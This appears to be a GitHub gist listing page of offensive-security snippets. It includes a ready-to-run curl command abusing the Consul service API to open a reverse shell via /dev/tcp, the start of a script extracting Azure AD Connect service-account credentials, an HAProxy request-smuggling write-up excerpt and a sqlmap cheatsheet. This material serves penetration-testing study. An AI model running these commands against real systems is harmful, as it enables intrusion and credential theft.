Skip to content

Instantly share code, notes, and snippets.

View A1vinSmith's full-sized avatar
🎯
OSCE3

Alvin Smith A1vinSmith

🎯
OSCE3
View GitHub Profile
@A1vinSmith
A1vinSmith / xrandr.sh
Created September 22, 2024 23:28 — forked from chirag64/xrandr.sh
Added license on user request
#!/bin/bash
# Copyright © 2021 Chirag Bhatia
# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOF
@A1vinSmith
A1vinSmith / revshell.sh
Last active February 1, 2023 02:21
Hashicorp Consul services API RCE & The simplest version of exploitation
curl --header "X-Consul-Token: XX-<SNIP>-XX" \
-X PUT \
-H "Content-Type: application/json" \
-d '{"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.10.10/80 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "alvinID01", "Name": "alvinName01", "Port": 80}' \
http://127.0.0.1:8500/v1/agent/service/register
@A1vinSmith
A1vinSmith / README.md
Created January 20, 2023 01:53 — forked from crypticmind/README.md
Setup lambda + API Gateway using localstack
@A1vinSmith
A1vinSmith / azuread_decrypt_msol_v2.ps1
Created January 16, 2023 04:37 — forked from xpn/azuread_decrypt_msol_v2.ps1
Updated method of dumping the MSOL service account (which allows a DCSync) used by Azure AD Connect Sync
Write-Host "AD Connect Sync Credential Extract v2 (@_xpn_)"
Write-Host "`t[ Updated to support new cryptokey storage method ]`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb..."
return
@A1vinSmith
A1vinSmith / haproxy-smuggling.md
Created January 10, 2023 04:33 — forked from ndavison/haproxy-smuggling.md
HAProxy HTTP request smuggling

The following describes a technique to achieve HTTP request smuggling against infrastructure behind a HAProxy server when using specific configuration around backend connection reuse. This was tested against HAProxy versions 1.7.9, 1.7.11, 1.8.19, 1.8.21, 1.9.10, and 2.0.5. Of all these tested versions, only 2.0.5 was not vulnerable out of the box, although it is when using the no option http-use-htx configuration, which reverts back to the legacy HTTP decoder. 2.1 removed the legacy decoder so it is not affected.

To actually exploit HTTP smuggling using the issue described in this writeup, the backend server(s) behind HAProxy would also have to be vulnerable in the sense they too would need to suffer from a bug, but one which parses and accepts a poorly formed Transfer-Encoding header (almost certainly violating RFC7230), and allows HTTP keep-alive.

The HAProxy bug - sending both Transfer-Encoding and Content-Length

This is how HAProxy handles a request when Transfer-Encoding and Content-Length is p

@A1vinSmith
A1vinSmith / sqlmap-cheatsheet.md
Last active September 2, 2024 15:12
The beat cheatsheet for sqlmap

Optional param

--batch # Use default config, make the injection process run automatically, without user input.
--threads 5 
-r # uses the intercepted request you saved earlier like burp save the item

Run Save item from Burp

sqlmap -r save.item
@A1vinSmith
A1vinSmith / Privilege Escalation.md
Last active January 9, 2025 04:03
Privilege Escalation: Systemctl (Misconfigured Permissions — sudo/SUID)